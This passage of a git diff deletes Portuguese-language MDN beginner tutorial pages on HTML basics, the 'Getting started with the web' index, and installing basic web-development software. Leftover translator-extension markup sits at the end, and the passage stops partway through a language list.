- <li><code>&lt;body&gt;&lt;/body&gt;</code> — o elemento {{htmlelement("body")}}. Este elemento possui <em>todo</em> o conteúdo que quer mostrar aos utilizadores quando visitam a página, seja texto, imagens, vídeos, jogos, faixas de áudio reproduzíveis, e tudo mais.</li>
- <li><code>&lt;meta charset="utf-8"&gt;</code> — este elemento define que o documento deve utilizar conjunto de caracteres UTF-8, o qual inclui a maior parte dos caracteres da vasta maioria de linguagens humanas. Essencialmente, agora o ficheiro pode conter qualquer conteúdo textual que possa vir a pôr-lhe. Não há motivos para não colocar este elemento, e pode evitar problemas no futuro.</li>
- <li><code>&lt;title&gt;&lt;/title&gt;</code> — o elemento {{htmlelement("title")}}. Define o título da página, que é o título que aparece no separador do navegador que carregou a página. Também é usado para descrever a página quando é adicionada aos marcadores/favoritos.</li>
-</ul>
-
-<h2 id="Imagens">Imagens</h2>
-
-<p>Vamos virar a nossa atenção para o elemento {{htmlelement("img")}} outra vez:</p>
-
-<pre class="brush: html notranslate">&lt;img src="images/firefox-icon.png" alt="My test image"&gt;</pre>
-
-<p>Como já referimos, incorpora uma imagem na nossa página, no local onde aparece. Para tal recorre ao atributo <code>src</code> (<em>source</em> — fonte, origem), que contém o caminho para o ficheiro de imagem.</p>
-
-<p>Também incluímos o atributo <code>alt</code> (alternativa). Neste atributo, você especifica texto descritivo para utilizadores que não conseguem ver a imagem, possivelmente porque:</p>
-
-<ol>
- <li>Têm deficiências visuais. Utilizadores com deficiências visuais significativas costumam utilizar ferramentas chamadas leitores de ecrã que lhes lê o texto alternativo.</li>
- <li>Alguma coisa correu mal e fez com que a imagem não fosse mostrada. Por exemplo, tente mudar deliberadamente o caminho no atributo <code>src</code> para torná-lo incorreto. Se guardar e recarregar a página, deve ver algo como isto em vez da imagem:</li>
-</ol>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9349/alt-text-example.png" style="display: block; height: 36px; margin: 0px auto; width: 108px;"></p>
-
-<p>As palavras-chave sobre texto alternativo são: "texto descritivo". Ou seja, deve dar ao leitor informação suficiente para ter uma boa ideia do que a imagem transmite. Neste exemplo, o texto atual, "My test image" não é nada bom. Uma alternativa muito melhor para o nosso logótipo do Firefox seria "Logótipo do Firefox: uma raposa flamejante a rodear o mundo."</p>
-
-<p>Agora, tenta encontrar texto alternativo melhor para a tua imagem.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: saiba mais sobre acessibilidade em <a href="/pt-PT/docs/Web/Acessibilidade">MDN - Página de Acessibilidade</a>.</p>
-</div>
-
-<h2 id="Marcação_de_texto">Marcação de texto</h2>
-
-<p>Esta secção irá abranger alguns dos elementos básicos de HTML que irá utilizar para marcar texto.</p>
-
-<h3 id="Títulos">Títulos</h3>
-
-<p>Elementos de título permitem especificar que determinadas partes do seu conteúdo são títulos (ou subtítulos) do conteúdo. Da mesma forma que um livro tem um título principal, títulos de capítulos e subtítulos, um documento HTML também os pode ter. HTML contém seis níveis de títulos, {{htmlelement("h1")}}–{{htmlelement("h6")}} mas geralmente usam-se no máximo 3 ou 4:</p>
-
-<pre class="brush: html notranslate">&lt;h1&gt;Título principal&lt;/h1&gt;
-&lt;h2&gt;Título mais abrangente&lt;/h2&gt;
-&lt;h3&gt;Subtítulo&lt;/h3&gt;
-&lt;h4&gt;Sub-subtítulo&lt;/h4&gt;</pre>
-
-<p>Tente agora acrescentar um título à sua página HTML mesmo por cima do seu elemento {{htmlelement("img")}}.</p>
-
-<h3 id="Parágrafos">Parágrafos</h3>
-
-<p>Como já foi explicado, elementos {{htmlelement("p")}} servem para conter parágrafos; vai usá-los frequentemente quando marcar conteúdo textual:</p>
-
-<pre class="brush: html notranslate">&lt;p&gt;Isto é um único parágrafo&lt;/p&gt;</pre>
-
-<p>Acrescente um ou mais parágrafos com a sua amostra de texto (conforme o artigo <a href="/en-US/Learn/Getting_started_with_the_web/What_should_your_web_site_be_like"><em>Qual será a aparência do seu site da Web?</em></a>), diretamente por baixo do elemento {{htmlelement("img")}}.</p>
-
-<h3 id="Listas">Listas</h3>
-
-<p>Grande parte do conteúdo da web está em listas, e HTML tem elementos especiais para as mesmas. Marcar listas consiste sempre em pelo menos 2 elementos. As listas mais comuns são as listas ordenadas e não ordenadas:</p>
-
-<ol>
- <li><strong>Listas não ordenadas</strong> são listas em que a ordem dos elementos não é relevante, como uma lista de compras. São envoltas no elemento {{htmlelement("ul")}}.</li>
- <li><strong>Listas ordenadas</strong> são listas em que a ordem dos elementos é importante, como uma receita. São envoltas no elemento {{htmlelement("ol")}}.</li>
-</ol>
-
-<p>Cada artigo na lista é colocado dentro de um elemento {{htmlelement("li")}} (list item).</p>
-
-<p>Por exemplo, se quisermos transformar parte deste trecho numa lista:</p>
-
-<pre class="brush: html notranslate">&lt;p&gt;Na Mozilla, somos uma comunidade global de tecnólogos, pensadores, e construtores que trabalham juntos ... &lt;/p&gt;</pre>
-
-<p>Podemos modificar a marcação desta forma:</p>
-
-<pre class="brush: html notranslate">&lt;p&gt;Na Mozilla, somos uma comunidade global de&lt;/p&gt;
-
-&lt;ul&gt;
- &lt;li&gt;tecnólogos&lt;/li&gt;
- &lt;li&gt;pensadores&lt;/li&gt;
- &lt;li&gt;construtores&lt;/li&gt;
-&lt;/ul&gt;
-
-&lt;p&gt;que trabalham juntos ... &lt;/p&gt;</pre>
-
-<p>Tente acrescentar uma lista ordenada ou não ordenada à sua página de exemplo.</p>
-
-<h2 id="Hiperligações">Hiperligações</h2>
-
-<p>As hiperligações são muito importantes — são elas que tornam a internet na internet! Para acrescentar uma ligação, precisamos de um elemento simples — {{htmlelement("a")}} — cujo "a" abrevia "âncora". Para transformar texto no seu parágrafo numa ligação, siga estes passos:</p>
-
-<ol>
- <li>Escolha algum texto. Escolhemos o texto "Manifesto da Mozilla".</li>
- <li>Envolva o texto num elemento {{htmlelement("a")}}, assim:
- <pre class="brush: html notranslate">&lt;a&gt;Manifesto da Mozilla&lt;/a&gt;</pre>
- </li>
- <li>Dê ao elemento {{htmlelement("a")}} um atributo <code>href</code>, assim:
- <pre class="brush: html notranslate">&lt;a href=""&gt;Manifesto da Mozilla&lt;/a&gt;</pre>
- </li>
- <li>Preencha o valor deste atributo com o endereço web para o qual quer ligar a hiperligação:
- <pre class="brush: html notranslate">&lt;a href="https://www.mozilla.org/pt-PT/about/manifesto/"&gt;Manifesto da Mozilla&lt;/a&gt;</pre>
- </li>
-</ol>
-
-<p>Pode obter resultados inesperados se omitir a parte do <em>protocolo</em> no início do endereço web (<code>https://</code> ou <code>http://</code>). Depois de criar uma hiperligação, clique para assegurar que está a enviá-lo para onde é pretendido.</p>
-
-<div class="note">
-<p><code>href</code> pode, à primeira vista, parecer uma escolha obscura para o nome de um atributo. Se tiver dificuldades em lembrar-se dele, recorde que significa <em><strong>h</strong>ypertext <strong>ref</strong>erence</em>.</p>
-</div>
-
-<p>Agora, acrescente a hiperligação à sua página, se ainda não o fez.</p>
-
-<h2 id="Conclusão">Conclusão</h2>
-
-<p>Se seguiu todas as instruções nesta página, deve ter conseguido uma página que se assemelha à página em baixo (também pode <a href="http://mdn.github.io/beginner-html-site/">vê-la aqui</a>):<br>
- <br>
- <img alt="A web page screenshot showing a firefox logo, a heading saying mozilla is cool, and two paragraphs of filler text" src="https://mdn.mozillademos.org/files/9351/finished-test-page-small.png" style="display: block; height: 838px; margin: 0px auto; width: 716px;"></p>
-
-<p>Se ficou preso, pode comparar o seu trabalho com o <a href="https://github.com/mdn/beginner-html-site/blob/gh-pages/index.html">exemplo do código terminado </a>no GitHub.</p>
-
-<p>Aqui, mal tocámos na superfície da linguagem HTML. Para descobrir mais, dirija-se ao nosso tópico sobre <a href="/pt-PT/docs/Learn/HTML">Aprender HTML</a>.</p>
-
-<p>{{PreviousMenuNext("Learn/Comecar_com_a_Web/Lidar_com_ficheiros","Learn/Comecar_com_a_Web/CSS_basico", "Learn/Comecar_com_a_Web")}}</p>
-
-<h2 id="Neste_módulo">Neste módulo</h2>
-
-<ul>
- <li id="Installing_basic_software"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Installing_basic_software">Instalar software básico</a></li>
- <li id="What_will_your_website_look_like"><a href="/en-US/Learn/Getting_started_with_the_web/What_should_your_web_site_be_like">Qual será a aparência do seu site da Web</a><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Apresentacao_do_meu_site">?</a></li>
- <li id="Dealing_with_files"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Lidar_com_ficheiros">Lidar com ficheiros</a></li>
- <li id="HTML_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/HTML_basicos">HTML - Essencial </a></li>
- <li><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/CSS_basico">CSS - Essencial</a></li>
- <li id="CSS_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Elementar_de_JavaScript">JavaScript - Essencial</a></li>
- <li id="Publishing_your_website"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web">Publicar o seu site da Web</a></li>
- <li id="How_the_web_works"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Como_funciona_a_Web">Como funciona a Web</a></li>
-</ul>
diff --git a/files/pt-pt/learn/getting_started_with_the_web/index.html b/files/pt-pt/learn/getting_started_with_the_web/index.html
deleted file mode 100644
index aff432c058..0000000000
--- a/files/pt-pt/learn/getting_started_with_the_web/index.html
+++ /dev/null
@@ -1,66 +0,0 @@
----
-title: Primeiros passos na Web
-slug: Learn/Getting_started_with_the_web
-tags:
- - Beginner
- - CSS
- - Desenho
- - Guía
- - HTML
- - I10n:priority
- - Index
- - publicação
- - teoria
-translation_of: Learn/Getting_started_with_the_web
-original_slug: Learn/Comecar_com_a_Web
----
-<div>{{LearnSidebar}}</div>
-
-<div class="summary">
-<p><strong>Iniciação à Web</strong> é uma série concisa introduzindo-lhe os aspetos práticos do desenvolvimento da Web<em>. </em>Irá configurar as ferramentas necessárias para criar uma página da Web simples e publicar o seu próprio código simples.</p>
-</div>
-
-<h2 id="A_história_do_seu_primeiro_site_da_Web">A história do seu primeiro <em>site </em>da Web</h2>
-
-<p>É muito trabalho para criar um site da <em>Web </em>profissional, por isso, se é novo no desenvolvimento da Web, nós encorajamos que comece por uma coisa pequena. Não irá criar outro Facebook de imediato, mas não é difícil ter o seu próprio site da Web simples <em>on-line</em>. Vamos lá começar.</p>
-
-<p>Ao trabalhar com os artigos listados abaixo em ordem, irá passar do nada para ter a sua primeira página da Web <em>on-line</em>. Vamos lá!</p>
-
-<h3 id="Instalar_software_básico"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Installing_basic_software">Instalar software básico</a></h3>
-
-<p>Quando se trata de ferramentas para criar um site da Web, há muito a escolher. Se está apenas a começar, pode ficar confuso com a variedade de editores de código, estruturas e ferramentas de teste disponíveis. Em <a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Installing_basic_software">Instalar software básico</a>, nós mostramos-lhe passo-a-passo como instalar apenas o software necessário para iniciar um desenvolvimento da <em>web</em> básico.</p>
-
-<h3 id="Qual_será_a_aparência_do_seu_site_da_Web"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Apresentacao_do_meu_site">Qual será a aparência do seu site da Web?</a></h3>
-
-<p>Antes de começar a escrever o código do seu site da Web, deverá planeá-lo primeiro. Que informação está a apresentar? Que tipo de letra e cores está a utilizar? <a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Apresentacao_do_meu_site">Como é que será apresentado o seu site da Web</a>? Nós descrevemos um método simples que pode seguir para planear o conteúdo e o desenho do seu site.</p>
-
-<h3 id="Lidar_com_ficheiros"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Lidar_com_ficheiros">Lidar com ficheiros</a></h3>
-
-<p>Um site consiste em muitos ficheiros: conteúdo de texto, código, <em>stylesheets</em>, conteúdo de média, e mais. Quando constrói um site, precisa de organizar os seus ficheiros e certificar-se que podem comunicar uns com os outros. <a href="/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">Lidar com ficheiros</a> explica como criar uma estrutura para os ficheiros do seu site e quais as questões que devem ser do seu conhecimento.</p>
-
-<h3 id="Básicos_de_HTML"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/HTML_basicos">Básicos de HTML</a></h3>
-
-<p><em>Hypertext Markup Language</em> (HTML) é o código que usa para estruturar, dar significado, e propósito ao seu conteúdo de <em>web</em>. Por exemplo, é o meu conteúdo um conjunto de parágrafos, ou uma lista de pontos? Tenho imagens inseridas na minha página? O <a href="/pt-PT/docs/Learn/Comecar_com_a_Web/HTML_basicos">HTML - Essencial</a> fornece informação suficiente para o familiarizar com o HTML, sem o sobrecarregar.</p>
-
-<h3 id="Básicos_de_CSS"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/CSS_basico">Básicos de CSS</a></h3>
-
-<p>Cascading Stylesheets (CSS) é o código que usa para decorar o seu site. Por exemplo, quer o texto colorido negro ou vermelho? Onde desenhar o conteúdo no ecrã? Que imagens de fundo e cores deve usar para decorar o site? <a href="/pt-PT/docs/Learn/Comecar_com_a_Web/CSS_basico">CSS - Essencial</a> leva-o através do que precisa para começar.</p>
-
-<h3 id="Básicos_de_JavaScript"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Elementar_de_JavaScript">Básicos de JavaScript</a></h3>
-
-<p>JavaScript é a linguagem de programação que utiliza para adicionar funcionalidades interativas ao seu website, por exemplo, jogos, coisas que acontecem quando botões são premidos ou quando dados são introduzidos em formulários, efeitos de estilo dinâmicos, animação, e muito mais. <a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Elementar_de_JavaScript">JavaScript - Essencial</a> dá-lhe uma ideia do que é possível com esta linguagem emocionante, e como começar.</p>
-
-<h3 id="Publicar_o_seu_site_da_Web"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web">Publicar o seu site da Web</a></h3>
-
-<p>Após de escrever o código e organizar os ficheiros que compõem o seu site, tem de o colocar online para que as pessoas o possam encontrar. "Publicar o seu site da Web" descreve como colocar o seu código de amostra simples online com o mínimo de esforço.</p>
-
-<h3 id="Como_é_que_funciona_a_Web"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Como_funciona_a_Web">Como é que funciona a Web</a></h3>
-
-<p>Quando acede ao seu site favorito, muitas coisas complicadas acontecem em segundo plano de que poderá não ter conhecimento. <a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Como_funciona_a_Web">Como funciona a Web</a> descreve o que acontece quando visualiza uma página da web no seu computador.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="https://www.youtube.com/playlist?list=PLo3w8EB99pqLEopnunz-dOOBJ8t-Wgt2g">Web Demystified</a> (Inglês): Uma série fantástica de vídeos a explicar os fundamentos da <em>web</em>, dirigido a totais iniciantes de desenvolvimento da <em>web</em>. Criado por <a href="https://twitter.com/JeremiePat">Jérémie Patonnier</a>.</li>
- <li><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/A_web_e_os_padroes_da_web">A Web e os padrões da Web</a>: Este artigo oferece detalhes úteis acerca da <em>web</em> — como foi inicialmente desenvolvida, o que são as tecnologias padrão da <em>web</em>, como trabalhar em equipa, porque ser um "programador da <em>web</em>" é uma carreira excelente, e que melhores práticas irá aprender durante o curso.</li>
-</ul>
diff --git a/files/pt-pt/learn/getting_started_with_the_web/installing_basic_software/index.html b/files/pt-pt/learn/getting_started_with_the_web/installing_basic_software/index.html
deleted file mode 100644
index c3cff40e7f..0000000000
--- a/files/pt-pt/learn/getting_started_with_the_web/installing_basic_software/index.html
+++ /dev/null
@@ -1,166 +0,0 @@
----
-title: Instalar software básico
-slug: Learn/Getting_started_with_the_web/Installing_basic_software
-tags:
- - Aprender
- - Beginner
- - Configurar
- - Ferramentas
- - Mecânicas da Web
- - Navegador
- - editor de texto
- - l10n:priority
-translation_of: Learn/Getting_started_with_the_web/Installing_basic_software
-original_slug: Learn/Comecar_com_a_Web/Installing_basic_software
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{NextMenu("Learn/Comecar_com_a_Web/Apresentacao_do_meu_site", "Learn/Comecar_com_a_Web")}}</div>
-
-<div class="summary">
-<p>Neste artigo<em>, </em>mostramos-lhe de que ferramentas precisa para desenvolvimento da Web básico, e como instalá-las corretamente.</p>
-</div>
-
-<h2 id="Que_ferramentas_é_que_os_profissionais_utilizam">Que ferramentas é que os profissionais utilizam?</h2>
-
-<ul>
- <li><strong>Um computador</strong>. Até pode parecer óbvio, mas alguns de vocês estão a ler este artigo através do telefone ou numa biblioteca com um computador. Para desenvolvimento sério, é melhor investir num PC ou num portátil, seja Windows, Mac, ou Linux.</li>
- <li><strong>Um editor de </strong><strong>texto</strong>, para escrever o código. Pode ser um editor de texto simples (ex: <a href="https://code.visualstudio.com/">Visual Studio Code</a>, <a href="https://notepad-plus-plus.org/">Notepad++</a>, <a href="https://www.sublimetext.com/">Sublime Text</a>, <a href="https://atom.io/">Atom</a>, <a href="https://www.gnu.org/software/emacs/">GNU Emacs</a>, ou <a href="https://www.vim.org/">VIM</a>), ou pode ser um editor híbrido (ex: <a href="https://www.adobe.com/products/dreamweaver.html">Dreamweaver </a>ou <a href="https://www.jetbrains.com/webstorm/">WebStorm</a>). Programas de <em>Office</em> não são adequados, já que dependem de elementos escondidos que interferem com os mecanismos de desenho dos navegadores.</li>
- <li><strong>Navegadores da Web</strong>, para testar o código. Atualmente, os mais utilizados são <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/">Opera</a>, <a href="https://www.apple.com/safari/">Safari</a>, <a href="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a> e <a href="https://www.microsoft.com/en-us/windows/microsoft-edge">Microsoft Edge</a>. Também deve testar o seu site em dispositivos móveis ou navegadores antigos que por algum motivo ainda sejam utilizados pelo seu público-alvo (como o IE 8–10). <a href="https://lynx.browser.org/">Lynx</a>, um navegador da web de terminal baseado em texto, é ótimo para ver como o seu site é experienciado por utilizadores com deficiência visual.</li>
- <li><strong>Um editor de gráficos</strong>, como o <a href="http://www.gimp.org/">GIMP</a>, <a href="https://www.figma.com/">Figma</a>, <a href="http://www.getpaint.net/">Paint.NET</a>, ou <a href="https://www.adobe.com/products/photoshop.html">Photoshop</a>, para criar imagens para a sua página da internet.</li>
- <li><strong>Um sistema de controlo de versões</strong>, para gerir ficheiros em servidores, colaborar num projeto de equipa, partilhar código e recursos, e evitar alterações conflituosas. Agora <a href="http://git-scm.com/">Git</a> é a ferramenta de controlo de versões mais popular e o serviço de hospedagem de código <a href="https://github.com/">GitHub</a>, baseado no mesmo, também é largamente utilizado.</li>
- <li><strong>Um programa de FTP</strong>, utilizado em contas de hospedagem de sites para gerir ficheiros no servidor (o <a href="http://git-scm.com/">Git</a> cada vez mais substitui FTP neste aspeto). Há diversos programas de (S)FTP como <a href="https://cyberduck.io/">Cyberduck</a>, <a href="http://fetchsoftworks.com/">Fetch</a>, e <a href="https://filezilla-project.org/">FileZilla</a>.</li>
- <li><strong>Um sistema de automatização</strong> como <a href="https://webpack.js.org/">Webpack</a>, <a href="http://gruntjs.com/">Grunt</a> ou <a href="http://gulpjs.com/">Gulp</a> para automatizar tarefas repetitivas, como minimizar o código e realizar testes.</li>
- <li><em>Templates</em>, bibliotecas, <em>frameworks</em>, etc., para escrever mais rapidamente e facilmente o código relativo a funcionalidades comuns. Uma biblioteca tende a ser um ficheiro JavaScript ou CSS existente que lhe proporciona uma funcionalidade pronta a ser utilizada no seu código. Uma <em>framework</em> expande sobre esta, oferecendo-lhe um sistema completo com sintaxes personalizadas para que possa escrever uma aplicação <em>web</em> em cima.</li>
- <li>E ainda mais ferramentas!</li>
-</ul>
-
-<h2 id="De_que_ferramentas_realmente_preciso_de_momento">De que ferramentas realmente preciso, de momento?</h2>
-
-<p>Parece uma lista assustadora, mas felizmente pode começar a desenvolver para a <em>web</em> sem saber nada sobre a maioria daquelas coisas. Neste artigo instalamos o mínimo dos mínimos — editor de texto e navegadores modernos.</p>
-
-<h3 id="Instalar_um_editor_de_texto">Instalar um editor de texto</h3>
-
-<p>Provavelmente já tem um editor de texto simples no seu computador. O Windows inclui, de fábrica, o Bloco de Notas (<a href="https://pt.wikipedia.org/wiki/Bloco_de_Notas">Notepad</a>) e o macOS vem com o Editor de Texto (<a href="https://pt.wikipedia.org/wiki/TextEdit">TextEdit</a>). Em distribuições de Linux, varia; Ubuntu vem com o <a href="https://pt.wikipedia.org/wiki/Gedit">gedit</a>.</p>
-
-<p>Para desenvolvimento na Web, há alternativas mais completas que o Notepad ou TextEdit. Propomos-lhe começar com o <a href="https://code.visualstudio.com/">Visual Studio Code</a>, um editor gratuito que oferece pré-visualização em tempo real e sugestões de código.</p>
-
-<div class="blockIndicator note">
-<p>Não confundir Notepad (Bloco de Notas) com Wordpad! Este último é equiparável a programas de <em>Office</em>, que não são adequados para escrever código de computador, como já foi referido. </p>
-</div>
-
-<h3 id="Instalar_navegadores_da_Web_modernos">Instalar navegadores da Web modernos</h3>
-
-<p>Antes de avançar, deve escolher uns navegadores que possa ter à mão para realizar testes. Escolha o seu sistema operativo e faça clique nos <em>links</em> para descarregar o programa de instalação respetivo dos seus navegadores preferidos:</p>
-
-<ul>
- <li>Linux: <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/">Opera</a>, <a href="https://brave.com">Brave</a>.</li>
- <li>Windows: <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/">Opera</a>, <a href="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a>, <a href="https://www.microsoft.com/en-us/windows/microsoft-edge">Microsoft Edge</a>, <a href="https://brave.com">Brave</a> (Windows 10 já vem com Edge de fábrica; se possuir Windows 7 ou posterior, pode instalar Internet Explorer 11; se não, instale um dos outros navegadores).</li>
- <li>Mac: <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/">Opera</a>, <a href="https://www.apple.com/safari/">Safari</a> (Safari vem de fábrica no iOS e macOS).</li>
-</ul>
-
-<div class="blockIndicator note">
-<p>Internet Explorer (IE) não é compatível com funções da <em>web</em> modernas e pode não conseguir correr o seu projeto. Tipicamente não será necessário fazer os seus projetos compatíveis com o IE, pois muito poucas pessoas ainda a utilizam - certamente não se preocupe muito com isso enquanto está a aprender. Por vezes pode deparar-se com um projeto que requer apoio para o mesmo.</p>
-</div>
-
-<h3 id="Instalar_um_servidor_da_Web_local">Instalar um servidor da Web local</h3>
-
-<p>Alguns exemplos terão de ser executados através de um servidor da Web para funcionar com sucesso. Pode aprender como fazer isto no artigo <a href="/pt-PT/docs/Learn/Questoes_comuns/Congiurar_um_servidor_de_testes_local">como configurar um servidor local de testes?</a></p>
-
-<div>{{NextMenu("Learn/Comecar_com_a_Web/Apresentacao_do_meu_site", "Learn/Comecar_com_a_Web")}}</div>
-
-<h2 id="Neste_módulo">Neste módulo</h2>
-
-<ul>
- <li id="Installing_basic_software"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Installing_basic_software">Instalar software básico</a></li>
- <li id="What_will_your_website_look_like"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Apresentacao_do_meu_site">Qual será a aparência do seu site?</a></li>
- <li id="Dealing_with_files"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Lidar_com_ficheiros">Lidar com ficheiros</a></li>
- <li id="HTML_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/HTML_basicos">HTML - Essencial</a></li>
- <li id="CSS_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/CSS_basico">CSS - Essencial</a></li>
- <li id="JavaScript_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Elementar_de_JavaScript">JavaScript - Essencial</a></li>
- <li id="Publishing_your_website"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web">Publicar o seu site na web</a></li>
- <li id="How_the_web_works"><a href="/en-US/Learn/Getting_started_with_the_web/How_the_Web_works">Como funciona a web</a></li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button"></div>
-
-<div id="SL_shadow_translation_result2" class="hidden"></div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"></div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"></div>
-
-<div id="SL_alert_cont"></div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"></div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option 